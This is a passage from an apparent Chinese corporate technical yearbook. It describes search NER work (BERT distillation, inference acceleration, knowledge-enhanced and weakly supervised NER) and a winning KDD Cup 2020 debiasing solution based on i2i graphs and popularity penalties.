提出一种新的网络结构 BlendCNN 来逼近 GPT 的预测效果，本质上也是模型蒸馏。

BlendCNN 预测速度相对原始 GPT 提升了 300 倍，另外在特定任务上，预测准确

率还略有提升。关于模型蒸馏，基本可以得到以下结论：

 ● 模型蒸馏本质是函数逼近。针对具体任务，笔者认为只要 Student Model

的 复 杂 度 能 够 满 足 问 题 的 复 杂 度， 那 么 Student Model 可 以 与 Teacher 

Model 完全不同，选择 Student Model 的示例如下图 6 所示。举个例子，假

设问题中的样本（x，y）从多项式函数中抽样得到，最高指数次数 d=2；可

用的 Teacher Model 使用了更高指数次数（比如 d=5），此时，要选择一个

Student Model 来进行预测，Student Model 的模型复杂度不能低于问题本

身的复杂度，即对应的指数次数至少达到 d=2。

 ● 根据无标注数据的规模，蒸馏使用的约束可以不同。如图 7 所示，如果无标注

数据规模小，可以采用值（logits）近似进行学习，施加强约束；如果无标注数

据规模中等，可以采用分布近似；如果无标注数据规模很大，可以采用标签近

似进行学习，即只使用 Teacher Model 的预测标签来指导模型学习。
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有了上面的结论，我们如何在搜索 NER 任务中应用模型蒸馏呢？ 首先先分析一下该

任务。与文献中的相关任务相比，搜索 NER 存在有一个显著不同：作为线上应用，

搜索有大量无标注数据。用户查询可以达到千万 / 天的量级，数据规模上远超一些离

线测评能够提供的数据。据此，我们对蒸馏过程进行简化：不限制 Student Model

的形式，选择主流的推断速度快的神经网络模型对 BERT 进行近似；训练不使用值近

似、分布近似作为学习目标，直接使用标签近似作为目标来指导 Student Model 的

学习。

我们使用 IDCNN-CRF 来近似 BERT 实体识别模型，IDCNN（Iterated Dilated 

CNN）是一种多层 CNN 网络，其中低层卷积使用普通卷积操作，通过滑动窗口圈定

的位置进行加权求和得到卷积结果，此时滑动窗口圈定的各个位置的距离间隔等于

1。高层卷积使用膨胀卷积（Atrous Convolution）操作，滑动窗口圈定的各个位置的

距离间隔等于 d（d>1）。通过在高层使用膨胀卷积可以减少卷积计算量，同时在序列

依赖计算上也不会有损失。在文本挖掘中，IDCNN 常用于对 LSTM 进行替换。实验

结果表明，相较于原始 BERT 模型，在没有明显精度损失的前提下，蒸馏模型的在

线预测速度有数十倍的提升。

4.1.2	预测加速

BERT 中大量小算子以及 Attention 计算量的问题，使得其在实际线上应用时，预测

时长较高。我们主要使用以下三种方法加速模型预测，同时对于搜索日志中的高频
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Query，我们将预测结果以词典方式上传到缓存，进一步减少模型在线预测的 QPS

压力。下面介绍下模型预测加速的三种方法：

算子融合：通过降低 Kernel Launch 次数和提高小算子访存效率来减少 BERT 中小

算子的耗时开销。我们这里调研了 Faster Transformer 的实现。平均时延上，有

1.4x~2x 左右加速比；TP999 上，有 2.1x~3x 左右的加速比。该方法适合标准的

BERT 模型。开源版本的 Faster Transformer 工程质量较低，易用性和稳定性上存

在较多问题，无法直接应用，我们基于 NV 开源的 Faster Transformer 进行了二次

开发，主要在稳定性和易用性进行了改进：

 ● 易用性：支持自动转换，支持 Dynamic Batch，支持 Auto Tuning。

 ● 稳定性：修复内存泄漏和线程安全问题。

Batching：Batching 的原理主要是将多次请求合并到一个 Batch 进行推理，降

低 Kernel Launch 次数、充分利用多个 GPU SM，从而提高整体吞吐。在 max_

batch_size 设置为 4 的情况下，原生 BERT 模型，可以在将平均 Latency 控制在

6ms 以内，最高吞吐可达 1300 QPS。该方法十分适合美团搜索场景下的 BERT 模

型优化，原因是搜索有明显的高低峰期，可提升高峰期模型的吞吐量。

混合精度：混合精度指的是 FP32 和 FP16 混合的方式，使用混合精度可以加速

BERT 训练和预测过程并且减少显存开销，同时兼顾 FP32 的稳定性和 FP16 的

速度。在模型计算过程中使用 FP16 加速计算过程，模型训练过程中权重会存储成

FP32 格式，参数更新时采用 FP32 类型。利用 FP32 Master-weights 在 FP32 数

据类型下进行参数更新，可有效避免溢出。混合精度在基本不影响效果的基础上，模

型训练和预测速度都有一定的提升。

4.2	知识增强的NER

如何将特定领域的外部知识作为辅助信息嵌入到语言模型中，一直是近些年的研究热

点。K-BERT[8]、ERNIE[9] 等模型探索了知识图谱与 BERT 的结合方法，为我们提

供了很好的借鉴。美团搜索中的 NER 是领域相关的，实体类型的判定与业务供给高
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度相关。因此，我们也探索了如何将供给 POI 信息、用户点击、领域实体词库等外

部知识融入到 NER 模型中。

4.2.1	融合搜索日志特征的Lattice-LSTM

在 O2O 垂直搜索领域，大量的实体由商家自定义（如商家名、团单名等），实体信息

隐藏在供给 POI 的属性中，单使用传统的语义方式识别效果差。Lattice-LSTM[10]

针对中文实体识别，通过增加词向量的输入，丰富语义信息。我们借鉴这个思路，

结合搜索用户行为，挖掘 Query 中潜在短语，这些短语蕴含了 POI 属性信息，然

后将这些隐藏的信息嵌入到模型中，在一定程度上解决领域新词发现问题。与原始

Lattice-LSTM 方法对比，识别准确率千分位提升 5 个点。

图 8　融合搜索日志特征的 Lattice-LSTM 构建流程

1)	短语挖掘及特征计算

该过程主要包括两步：匹配位置计算、短语生成，下面详细展开介绍。

图 9　短语挖掘及特征计算
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Step1：匹配位置计算。对搜索日志进行处理，重点计算查询与文档字段的详细匹配

情况以及计算文档权重（比如点击率）。如图 9 所示，用户输入查询是“手工编织”，

对于文档 d1（搜索中就是 POI），“手工”出现在字段“团单”，“编织”出现在字段

“地址”。对于文档 2，“手工编织”同时出现在“商家名”和“团单”。匹配开始位

置、匹配结束位置分别对应有匹配的查询子串的开始位置以及结束位置。

Step2：短语生成。以 Step1 的结果作为输入，使用模型推断候选短语。可以使用

多个模型，从而生成满足多个假设的结果。我们将候选短语生成建模为整数线性规划

（Integer Linear Programmingm，ILP）问题，并且定义了一个优化框架，模型中的

超参数可以根据业务需求进行定制计算，从而获得满足不用假设的结果。对于一个具

体查询 Q，每种切分结果都可以使用整数变量 xij 来表示：xij=1 表示查询 i 到 j 的位置

构成短语，即 Qij 是一个短语，xij=0 表示查询 i 到 j 的位置不构成短语。优化目标可

以形式化为：在给定不同切分 xij 的情况下，使收集到的匹配得分最大化。优化目标

及约束函数如图 10 所示，其中 p：文档，f：字段，w：文档 p 的权重，wf：字段 f 的

权重。xijpf：查询子串 Qij 是否出现在文档 p 的 f 字段，且最终切分方案会考虑该观

测证据，Score(xijpf)：最终切分方案考虑的观测得分，w(xij)：切分 Qij 对应的权重，

yijpf : 观测到的匹配，查询子串 Qij 出现在文档 p 的 f 字段中。χmax：查询包含的

最大短语数。这里，χmax、wp、wf 、w(xij) 是超参数，在求解 ILP 问题前需要完

成设置，这些变量可以根据不同假设进行设置：可以根据经验人工设置，另外也可以

基于其他信号来设置，设置可参考图 10 给出的方法。最终短语的特征向量表征为在

POI 各属性字段的点击分布。
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图 10　短语生成问题抽象以及参数设置方法

2)	模型结构

图 11　融合搜索日志特征的 Lattice-LSTM 模型结构

模型结构如图 11 所示，蓝色部分表示一层标准的 LSTM 网络（可以单独训练，也

可以与其他模型组合），输入为字向量，橙色部分表示当前查询中所有词向量，红色

部分表示当前查询中的通过 Step1 计算得到的所有短语向量。对于 LSTM 的隐状
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态输入，主要由两个层面的特征组成：当前文本语义特征，包括当前字向量输入和

前一时刻字向量隐层输出；潜在的实体知识特征，包括当前字的短语特征和词特征。

下面介绍当前时刻潜在知识特征的计算以及特征组合的方法：（下列公式中，σ 表示

sigmoid 函数，⊙表示矩阵乘法）

4.2.2	融合实体词典的两阶段NER

我们考虑将领域词典知识融合到模型中，提出了两阶段的 NER 识别方法。该方法是

将 NER 任务拆分成实体边界识别和实体标签识别两个子任务。相较于传统的端到端

的 NER 方法，这种方法的优势是实体切分可以跨领域复用。另外，在实体标签识别

阶段可以充分使用已积累的实体数据和实体链接等技术提高标签识别准确率，缺点是

会存在错误传播的问题。



算法　<　815

在第一阶段，让 BERT 模型专注于实体边界的确定，而第二阶段将实体词典带来的

信息增益融入到实体分类模型中。第二阶段的实体分类可以单独对每个实体进行预

测，但这种做法会丢失实体上下文信息，我们的处理方法是：将实体词典用作训练

数据训练一个 IDCNN 分类模型，该模型对第一阶段输出的切分结果进行编码，并

将编码信息加入到第二阶段的标签识别模型中，联合上下文词汇完成解码。基于

Benchmark 标注数据进行评估，该模型相比于 BERT-NER 在 Query 粒度的准确

率上获得了 1% 的提升。这里我们使用 IDCNN 主要是考虑到模型性能问题，大家可

视使用场景替换成 BERT 或其他分类模型。

图 12　融合实体词典的两阶段 NER
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4.3	弱监督NER

图 13　弱监督标注数据生成流程

针对标注数据难获取问题，我们提出了一种弱监督方案，该方案包含两个流程，分别

是弱监督标注数据生成、模型训练。下面详细描述下这两个流程。

Step1：弱监督标注样本生成

1) 初版模型：利用已标注的小批量数据集训练实体识别模型，这里使用的是最新的

BERT 模型，得到初版模型 ModelA。

2) 词典数据预测：实体识别模块目前沉淀下百万量级的高质量实体数据作为词典，数

据格式为实体文本、实体类型、属性信息。用上一步得到的 ModelA 预测改词典数据

输出实体识别结果。

3) 预测结果校正：实体词典中实体精度较高，理论上来讲模型预测的结果给出的实体

类型至少有一个应该是实体词典中给出的该实体类型，否则说明模型对于这类输入的

识别效果并不好，需要针对性地补充样本，我们对这类输入的模型结果进行校正后得

到标注文本。校正方法我们尝试了两种，分别是整体校正和部分校正，整体校正是指

整个输入校正为词典实体类型，部分校正是指对模型切分出的单个 Term 进行类型校

正。举个例子来说明，“兄弟烧烤个性 diy”词典中给出的实体类型为商家，模型预测

结果为修饰词 + 菜品 + 品类，没有 Term 属于商家类型，模型预测结果和词典有差
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异，这时候我们需要对模型输出标签进行校正。校正候选就是三种，分别是“商家 +

菜品 + 品类”、“修饰词 + 商家 + 品类”、“修饰词 + 菜品 + 商家”。我们选择最接近于

模型预测的一种，这样选择的理论意义在于模型已经收敛到预测分布最接近于真实分

布，我们只需要在预测分布上进行微调，而不是大幅度改变这个分布。那从校正候选

中如何选出最接近于模型预测的一种呢？我们使用的方法是计算校正候选在该模型下

的概率得分，然后与模型当前预测结果（当前模型认为的最优结果）计算概率比，概

率比计算公式如公式 2 所示，概率比最大的那个就是最终得到的校正候选，也就是最

终得到的弱监督标注样本。在“兄弟烧烤个性 diy”这个例子中，“商家 + 菜品 + 品

类”这个校正候选与模型输出的“修饰词 + 菜品 + 品类”概率比最大，将得到“兄弟

/ 商家 烧烤 / 菜品 个性 diy/ 品类”标注数据。

图 14　标签校正

公式 2　概率比计算

Step2：弱监督模型训练

弱监督模型训练方法包括两种：一是将生成的弱监督样本和标注样本进行混合不区分

重新进行模型训练；二是在标注样本训练生成的 ModelA 基础上，用弱监督样本进行

Fine-tuning 训练。这两种方式我们都进行了尝试。从实验结果来看，Fine-tuning

效果更好。
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5. 总结和展望

本文介绍了 O2O 搜索场景下 NER 任务的特点及技术选型，详述了在实体词典匹配

和模型构建方面的探索与实践。

实体词典匹配针对线上头腰部流量，离线对 POI 结构化信息、商户评论数据、搜索

日志等独有数据进行挖掘，可以很好的解决领域实体识别问题，在这一部分我们介绍

了一种适用于垂直领域的新词自动挖掘方法。除此之外，我们也积累了其他可处理多

源数据的挖掘技术，如有需要可以进行约线下进行技术交流。

模型方面，我们围绕搜索中 NER 模型的构建的三个核心问题（性能要求高、领域强

相关、标注数据缺乏）进行了探索。针对性能要求高采用了模型蒸馏，预测加速的方

法， 使得 NER 线上主模型顺利升级为效果更好的 BERT。在解决领域相关问题上，

分别提出了融合搜索日志、实体词典领域知识的方法，实验结果表明这两种方法可一

定程度提升预测准确率。针对标注数据难获取问题，我们提出了一种弱监督方案，一

定程度缓解了标注数据少模型预测效果差的问题。

未来，我们会在解决 NER 未登录识别、歧义多义、领域相关问题上继续深入研究，

欢迎业界同行一起交流。
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KDD	Cup	2020	Debiasing 比赛冠军技术方案
及在美团的实践

作者：坚强　明健　胡可　曲檀　雷军

背景

ACM SIGKDD （国际数据挖掘与知识发现大会，简称 KDD）是数据挖掘领域的国际

顶级会议。KDD Cup 比赛是由 SIGKDD 主办的数据挖掘研究领域的国际顶级赛事，

从 1997 年开始，每年举办一次，是目前数据挖掘领域最具影响力的赛事。该比赛同

时面向企业界和学术界，云集了世界数据挖掘界的顶尖专家、学者、工程师、学生等

参加，为数据挖掘从业者们提供了一个学术交流和研究成果展示的平台。KDD Cup 

2020 共设置五道赛题（四个赛道），分别涉及数据偏差问题（Debiasing）、多模态召

回问题（Multimodalities Recall）、自动化图学习（AutoGraph）、对抗学习问题和强

化学习问题。

美团到店广告平台搜索广告算法团队基于自身的业务场景，一直在不断进行前沿技术

的深入优化与算法创新，团队在数据偏差、多模态学习、图学习三个前沿领域均有一

定的算法研究与应用，并取得了不错的业务结果。基于这三个领域的技术积累，我们

在比赛中选择了三道紧密联系的赛题，希望应用并提升这三个领域技术积累，带来技

术与业务的进一步突破。搜索广告算法团队的黄坚强、胡可、漆毅、曲檀、陈明健、

郑博航、雷军与中科院大学唐兴元共同组建参赛队伍 Aister，参加了 Debiasing、

AutoGraph、Multimodalities Recall 三道赛题，最终在 Debiasing 赛道中获得冠
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军（1/1895），在 AutoGraph 赛道中也获得了冠军（1/149），并在 Multimodalities 

Recall 赛道中获得了季军（3/1433）。

在广告系统中，如何对数据偏差进行消除是最具挑战性的问题之一，也是近年来学术

界的研究热点。随着产品形态与算法技术的持续演进，系统会不断积累偏差。搜索广

告算法团队在数据偏差问题取得了突破，带来了较显著的业务效果提升。特别是在

Debiasing 赛题中，团队基于偏差消除问题的技术积累，从全球 1895 支队伍的激烈

角逐中取得第 1 名，并在最终评测指标（ndcg_half）领先第 2 名 6.0%。下面我们

将介绍 Debiasing 赛题的技术方案，以及团队在广告业务中偏差消除的应用与研究，

希望对从事相关研究的同学能够有所帮助或者启发。

技术方案开源代码

图 2　KDD Cup 2020 Debiasing 比赛 TOP 10 榜单

https://github.com/aister2020/KDDCUP_2020_Debias
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赛题介绍与问题分析

偏差消除问题概述

大多数电子商务和零售公司利用海量数据在其网站上实现搜索和推荐系统，从而来促

进销售，随着这样的趋势发展以及流量的大量增加，对推荐系统产生了各式各样的挑

战。其中一个值得探索的挑战是推荐系统的人工智能公平性（Fairness）问题 [1,2]，

即如果机器学习系统配备了短期目标（例如短期的点击、交易），单纯朝短期目标进行

优化将会导致严重的“马太效应”，即热门的商品受到更多的关注，冷门商品则愈发

的会被遗忘，产生了系统中的流行度偏差 [3]，并且大多数模型和系统的迭代依赖于页

面浏览（Pageview）数据，而曝光数据是实际候选中经过模型选择的一个子集，不断

地依赖模型选择的数据与反馈再进行训练，将形成选择性偏差 [3]。上述流行度偏差与

选择性偏差不断积累，就会导致系统中的“马太效应”越来越严重。因此，人工智能

公平性问题对于推荐系统的不断优化至关重要，并且这将对推荐系统的发展以及生态

环境产生深远的影响。

由于不是一个定义充分的优化问题，偏差消除是当前推荐系统非常具有挑战性的问

题，也是当前学术界的一个研究热点。本次 KDD 的赛题也是围绕偏差问题展开，基

于电子商务中用户下一次点击商品预测（Next-Item Prediction）的问题，进行无偏

估计。

赛题官方提供了用户点击数据、商品多模态数据、用户特征数据。其中用户点击数据

提供了用户历史点击的商品以及点击的时间戳，商品多模态数据主要为商品的文本向

量以及图片向量，用户特征数据有用户的年龄、性别、城市等等。数据涉及超过 100

万次点击，10 万商品和 3 万用户。并根据时间窗口划分数据阶段，一共分为十个阶

段，最终评分以最后 3 个阶段为准。

为 了 关 注 于 消 除 偏 差 问 题， 本 次 赛 题 提 供 的 评 测 指 标 包 括 NDCG@50_full，

NDCG@50_half，hitrate@50_full，hitrate@50_half。 采 用 NDCG@50_full，

NDCG@50_half 两项指标进行评估。
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 ● NDCG@50_full：与常规推荐系统评价指标 NDCG 一致，在整个评测数据集

上评估了每次用户请求所推荐的前 50 个商品列表的平均排序效果，该评测集

我们称之为 full 评测集。

 ● NDCG@50_half：关注于偏差问题，从整个 full 评测数据集中取出一半历史

曝光少的点击商品，对这些商品的推荐列表进行 NDCG 指标评估，该评测集

我们称之为 half 评测集。

评分首先通过 NDCG@50_full 筛选出前 10% 的队伍，然后在这些队伍中使用

NDCG@50_half 来进行最终排名。在最终的评估中 NDCG@50_half 将对 Top 名

次的差异，在长尾数据预测更重要的评测方式能够更好地评估选手们对于数据偏差的

优化。不同于传统的封闭数据集点击率预估问题（CTR 预估），上述数据特点与评测

方式侧重于偏差的优化。

数据分析与问题理解

数据分析与问题：用户特征数据中一共有 35444 个用户，但只有 6789 个用户有

特征，故而特征覆盖率只有 19.15%，由于覆盖率较低且只有年龄、性别、城市等

三个特征，我们发现这些特征对我们的整个任务而言是无用的。商品特征数据中一

共有 117720 个商品，有 108916 个商品拥有文本向量及图片向量，覆盖率高达

92.52%，可以根据向量去计算商品间的文本相似度及图片相似度，由于用户信息及

商品信息的缺少，如何利用好这些商品多模态向量对于整个任务而言是极其重要的。

选择性偏差分析：如表 1 所示，我们对基于 i2i（item2item）点击共现以及基于 i2i 向

量相似度两种 Item-Based 协同过滤的方法所召回的商品候选集做对比，由于系统

的性能限制，我们将候选集长度最大值限制到 1000，我们发现两种召回方法在评测

集上都有一个较低的 hitrate，则不管使用哪种方法系统都存在着一个较大的选择性偏

差，即推荐给用户的样本是根据系统来选择的，而不是所有候选集合，真实的候选集

合大大超过了推荐给用户的样本，导致训练数据带有选择性偏差。进一步的，我们发

现基于 i2i 点击共现在 full 评测集上相对于 half 评测集有更高的 hitrate，说明其更偏

好于流行商品，而基于 i2i 向量相似度在 full 和 half 的评测集上 hitrate 相差不大，说
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明其对于流行度无偏好，同时两种方式召回的候选集只有 4% 的重复率，故而我们需

要去结合点击共现和向量相似度两种商品关系来生成更大的训练集，从而缓解选择性

偏差。

表 1　i2i 点击共现与 i2i 向量相似度的召回 hitrate

如图 3 所示，我们对商品的流行度进行了分析，其中横坐标商品点击频数，即商品流

行度，纵坐标为商品个数。图中我们对流行度做了截断，横坐标最大值本应为 228。

可以看出，大部分商品的流行度较低，符合长尾分布。图中的两个箱型图分别是 full

评测数据集商品流行度的分布，以及 half 评测数据集商品流行度的分布。从这两个箱

型图可以看出，流行度偏差存在于数据集中，整个 full 评测集中有一半评测数据是基

于流行度较低的商品，而另一半评测数据商品的流行度较高，直接通过点击商品去构

建样本，会导致数据中拥有较多流行度高的正例商品，从而形成流行度偏差。

图 3　商品的流行度偏差
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问题挑战

该竞赛的主要挑战是消除推荐系统中的偏差，从上述数据分析中可以看出，主要存在

两种偏差，选择性偏差（Selection Bias）和流行度偏差（Popularity Bias）。

 ● 选择性偏差：曝光数据是由模型和系统选择的，与系统中的全部候选集不一

致 [4,5]。

 ● 流行度偏差：商品历史点击次数呈现一个长尾分布，故而流行度偏差存在于头

部商品和尾部商品之间，如何解决流行度偏差也是赛题的核心挑战之一 [6,7]。

基于上述偏差，传统的利用 Pageview（曝光）->Click（点击）的点击预估建模思路

并不能合理地建模用户的真实兴趣，我们在初步尝试中也发现采用传统建模思路效果

较差。不同于传统的用户兴趣建模思路，首先，我们通过 u2i2i（user2item2item）

建模转换，采用侧重于 i2i 的建模代替传统 CTR 预估方式中的 u2i（user2item）的

兴趣建模。并且，我们采用基于 i2i 图的多跳游走进行候选样本生成，代替基于

Pageview 样本生成思路。同时，在构图过程、i2i 建模过程我们引入了流行度惩罚。

最终有效地解决了上面的偏差挑战。

竞赛技术方案

针对选择性偏差和流行度偏差两方面挑战，我们进行了建模设计，有效地优化了上述

偏差。已有的 CTR 建模方法可以理解为 u2i 的建模，通常刻画了用户在特定请求上

下文中对候选商品的偏好，而我们的建模方式是去学习用户的每个历史点击商品和候

选商品的关系，可以理解为 u2i2i 的建模。这种建模方法更有助于学习多种 i2i 关系，

并且可以容易地将 i2i 图中的一跳关系拓展到多跳关系，多种 i2i 关系可以探索更多无

偏数据来增大商品候选集和训练集，达到了缓解选择性偏差的目的。同时，考虑到流

行商品引起的流行度偏差，我们在构图过程中对边权引入流行度惩罚，使得多跳游走

时更有机会探索到低流行度的商品，同时在建模过程以及后处理过程中我们也引入了

流行度惩罚，缓解了流行度偏差。
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最终，我们形成了一个基于 i2i 建模的排序框架，框架图如图 4 所示。在我们的框架

中商品推荐过程被分为三个阶段，第一个阶段是基于用户行为数据和商品多模态数据

构建 i2i 图，并基于 i2i 图进行多跳游走生成 i2i 候选样本；第二个阶段是拆分用户点

击序列，并根据 i2i 候选样本构建 i2i 关系样本集，基于 i2i 样本集进行自动化特征工

程，以及使用流行度加权的损失函数进行消除流行度偏差的建模；第三个阶段根据用

户点击序列将 i2i 模型生成的 i2i 打分进行聚合，对打分的商品列表进行消除流行度偏

差的后处理，从而对商品列表进行排序推荐。我们将详细介绍这三个阶段的方案。

图 4　基于 i2i 建模的排序框架

基于多跳游走的 i2i 候选样本生成

为了探索更多的 i2i 无偏候选样本来进行 i2i 建模，从而缓解选择性偏差，我们构建了

一个具有多种边关系的 i2i 图，并在构边过程中引入了流行度惩罚来消除流行度偏差。

如下图 5 所示，i2i 图的构建与多跳游走 i2i 候选样本的生成过程被分为三个步骤：i2i

图的构建、i2i 多跳游走以及 i2i 候选样本的生成。
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图 5　基于多跳游走的 i2i 候选样本生成

第一个步骤为 i2i 图的构建，图中存在一种结点即商品结点，两种边关系即点击共现

边和多模态向量边。点击共现边通过用户的历史商品点击序列所构建，边的权重通过

以下的公式得到，其在两个商品间的用户历史点击共现频数的基础上，考虑了每次点

击共现的时间间隔因子，并加入了用户活跃度惩罚以及商品流行度惩罚。时间间隔因

子考虑到了两个商品间的共现时间越短则这两个商品有更大的相似度；用户活跃度惩

罚考虑了活跃用户与不活跃用户的公平性，通过用户历史商品点击次数来惩罚活跃用

户；商品流行度惩罚考虑了商品的历史点击频数，对流行商品进行惩罚，缓解了流行

度偏差 [8]。多模态向量边则通过两个商品间文本向量及图片向量的余弦相似度进行构

建，对一个商品的向量利用 K 最近邻的方法去寻找最邻近的 K 个商品，对这个商品

与其最近邻的 K 个商品分别构建 K 条边，向量间的相似度即为边权，多模态向量边

与流行度无关，可以缓解流行度偏差。



828　>　美团 2020 技术年货

第二个步骤是通过多跳游走探索多种 i2i 关系，我们通过枚举不同的一跳 i2i 关系组合

构成不同类型的二跳 i2i 关系，并且在构建好二跳 i2i 关系之后删除原本的一跳 i2i 关

系以避免冗余。i2i 关系包括基于点击一跳邻居构建 i2i，基于向量一跳邻居构建 i2i，

基于点击 - 点击二跳游走构建 i2i，基于点击 - 向量二跳游走构建 i2i，基于向量 - 点

击二跳游走构建 i2i，一跳 i2i 关系得分由一跳边权得来，多跳 i2i 关系得分则由以下

公式得来，即对每条路径的边权相乘得到路径分，并对所有路径分求平均。通过不同

边类型多跳游走的方式，更多的商品有更多的机会和其他商品构建多跳关系，从而扩

大了商品候选集，缓解了选择性偏差。

第三个步骤则基于每种 i2i 关系根据 i2i 得分对所有商品的候选商品集合分别进行排序

和截断，每个 i2i 关系间的相似度热图如下图 6 所示，相似度是通过两种 i2i 关系构造

的候选集重复度所计算，我们可以根据不同 i2i 关系之间的相似度来确定候选商品集

合的数量截断，以得到每种 i2i 关系中每个商品的 i2i 候选集，供后续 i2i 建模使用。
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图 6　i2i 关系相似度热图

基于流行度偏差优化的 i2i 建模

我们通过 u2i2i 建模转换，将传统的基于 u2i 的 CTR 预估建模方式转换为 i2i 建模方

式，它可以容易地使用多跳 i2i 关系，同时我们引入带流行度惩罚的损失函数，使得

i2i 模型朝着缓解流行度偏差的方向学习。

如下图 7 所示，我们拆分用户前置点击行为序列，将每一个点击的商品作为 source 

item，从 i2i graph 中的多跳游走候选集中抽取 target item，形成 i2i 样本集。对于

target item 集合，我们将用户下一次点击的商品与 target item 是否一致来引入该样
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本的标签。这样，我们将基于用户选择的序列建模 [9] 转变为基于 i2i 的建模，通过两

个商品点击的时间差以及点击次数间隔来从侧面引入用户的序列信息，强调了 i2i 的

学习，从而达到消除选择性偏差的目的。最终用户的推荐商品排序列表可以基于用户

下的 i2i 打分进行 target item 的排序。

图 7　i2i 训练样本生成

如图 8 所示，我们利用自动化特征工程的思想去探索高阶特征组合，缓解了偏差问

题业务含义抽象的问题。我们通过人工构造一些基础特征例如频数特征、图特征、行

为特征和时间相关特征等特征后，将这些基本的特征类型划分为 3 种，类别特征、数

值特征以及时间特征，基于这些特征做高阶特征组合，每一次组合形成的特征都会加

入下一次组合的迭代之中，来降低高阶组合的复杂度，我们并且基于特征重要性和

NDCG@50_half 进行快速的特征选择，从而挖掘到了更深层次的模式并节省了大量

的人力成本。
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图 8　自动化特征工程

在 模 型 上， 我 们 尝 试 了 LightGBM、Wide&Deep、 时 序 模 型 等 等， 最 终 由 于

LightGBM 在 tabular 上的优异表现力，选择了 LightGBM。

在模型训练中，我们使用商品流行度加权损失去消除流行度偏差 [10]，损失函数 L 如

下式所示：

其中，参数 α 与流行度成反比，来削弱流行商品的权重，可以消除流行度偏差。参

数 β 是正样本权重，用来解决样本不平衡问题。

用户偏好排序

最终，用户的商品偏好排序是通过用户的历史点击商品来引入 i2i，继而对 i2i 引入的

所有商品形成最终的排序问题。在排序过程中，根据图 7 所示，target item 集合是
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由每一个 source item 分别产出的，所以不同的 source item 以及不同的多跳游走

i2i 关系可能会产出相同的 target item。我们需要考虑如何将相同用户的相同 target 

item 的模型打分值进行聚合，如果直接进行概率求和会加强流行度偏差，而直接取均

值又容易忽略掉一些强信号。最终，我们对一个用户多个相同的 target item 采用最

大池化聚合的方式，然后对用户的所有 target item 进行排序，可以在 NDCG@50_

half 上取得一个不错的效果。

为了进一步优化 NDCG@50_half 指标，我们对所得到的 target item 打分进行

后处理，通过提高低流行度商品的打分权重来进一步打压高流行度的商品，最终

在 NDCG@50_half 上取得了一个更好的效果，这其实是一个 NDCG@50_full 与

NDCG@50_half 的权衡。

评估结果

在基于多跳游走的 i2i 候选样本生成过程中，各种 i2i 关系的 hitrate 如表 2 所示，可

以发现，在相同长度为 1000 的截断下对多种方法做混合有更高的 hitrate 提升，能

引入更多无偏数据来增大训练集和候选集从而缓解系统的选择性偏差。

表 2　不同 i2i 关系的 hitrate

最终，由美团搜索广告团队组建的 Aister 在包括 NDCG 和 hitrate 的各项评价指
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标中都取得了第 1 名，如表 3 所示，NDCG@50_half 比第二名高了 6.0%，而

NDCG@50_full 比第二名高了 4.9%， NDCG@50_half 相较于 NDCG@50_full

有更明显的优势，说明我们更好地针对消除偏差问题进行了优化。

表 3　不同参赛团队解决方案的 NDCG 评估结果

广告业务应用

搜索广算法团队负责美团与点评双平台的搜索广告与筛选列表广告业务，业务类型

涉及餐饮、休闲娱乐、丽人、酒店等，丰富的业务类型为算法优化带来很大空间与

挑战。在搜索广告业务问题中，数据偏差问题是个重要且具挑战性的问题。广告系

统中有两个重要的数据偏差——位置偏差与选择性偏差，搜索广告算法团队也针对

这两个偏差问题进行了较多优化。在位置偏差问题，即位置靠前的点击率天然高于

位置靠后的，不同于传统的作为偏差的处理方式，我们引入一致性建模的思想，并

通过灵活的深度网络设计达到一致性目标，取得业务效果提升。在选择性偏差问题，

整个广告系统投放过程呈现出了一个漏斗图，如图 9 所示，系统分为 Matching、

Creative-Select、Ranking、Auction 几个阶段。每一个阶段的候选是由上一阶段

选择。以排序阶段为例（Ranking），线上系统排序的候选包含了匹配（Matching）阶
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段输出的所有候选，但是排序模型的训练数据是根据模型选择的曝光（Pageview）数

据，仅为线上排序系统候选的一个小的子集，模型线上与线下输入数据的差异违反了

建模分布一致性假设，上述选择性偏差会导致两方面明显的问题：

1. 模型预估不准确：从曝光样本中学习到的模型存在偏差且不准确，会导致线上

预估效果较差，尤其对于同历史曝光样本分布差异大的候选样本。

2. 反馈链路循环影响广告生态：由于模型选择的样本进行曝光，然后进入模型训

练进一步选择新的曝光样本，模型基于有偏样本不断学习，使得整体反馈环

路不断受到偏差影响，系统选择面越来越窄形成“马太效应”。

图 9　广告系统的漏斗图

为了解决上面的预估与生态问题，我们通过样本生成和多阶段训练两方面进行算法

优化。在样本生成方面，我们进行三方面的数据生成与样本选择。首先，如图 10 所
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示，我们采用基于 Beta 分布的 Exploration 算法，通过历史点击率和统计置信度生

成 Exploration 候选，算法背后的假设是置信度越大点击率的方差越小。如下图所

示，横轴代表预估点击率，纵轴代表概率密度，在黄框中参数的 Beta 分布生成的样

本预估点击率分布接近于真实的样本分布，用于补充仅通过模型选择的曝光数据；其

次，我们结合随机游走进行负样本优化，并通过采样算法和 Label 优化来控制精度。

最后，训练样本大多由系统主流量选择，而在下一次模型优化全量后选择的训练样本

会发生较大变化，上述差异性也会导致在 ABTest 时小流量模型精度不符合预期，我

们也针对上述不同模型挑选的数据分布差异进行数据选择。

图 10　不同参数的 Beta 分布

并且，结合上述多种样本分布的差异性，通过多阶段训练来优化模型，如图 11 所示，

我们基于样本强度控制训练顺序与参数，使得训练数据同线上真实候选分布更一致。
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最终不仅在 CTR 预估模型（Ranking 阶段）和创意优选模型（Creative-Select 阶

段）两个模块均取得较显著的业务效果提升，并且更一致的建模方式也使得了候选扩

量等偏差较重问题的实验由负向变正向，更扎实的验证方式也为未来优化打下了坚实

的基础。

图 11　基于样本强度的多阶段训练

总结与展望

KDD Cup 是同工业界联接非常紧密的比赛，每年赛题紧扣业界热点问题与实际问

题，其中历年产出的 Winning Solution 对工业界也有很大的影响。例如，KDD Cup 

2012 获胜方案产出了 FFM (Feild-aware Factorization Machine) 与 XGBoost 的

原型，在工业界取得广泛应用。

今年 KDD Cup 的 Debiasing 问题也是当前广告与推荐领域中最具挑战性的问题之

一，本文介绍了我们在 KDD Cup 2020 Debiasing 赛题上取得第 1 名的解决方案，

解决方案不同于以往 CTR 预估方式等 u2i 的兴趣建模方法，我们采用 u2i2i 方式将

u2i 建模转换为 i2i 建模，并构建异构图通过多跳游走探索更多无偏样本，从而缓解了

选择性偏差，在建模过程中对图的构建、模型的损失函数以及预估值后处理等过程都

引入了流行度惩罚来缓解流行度偏差，最终克服了选择性偏差和流行度偏差两个赛题

挑战。

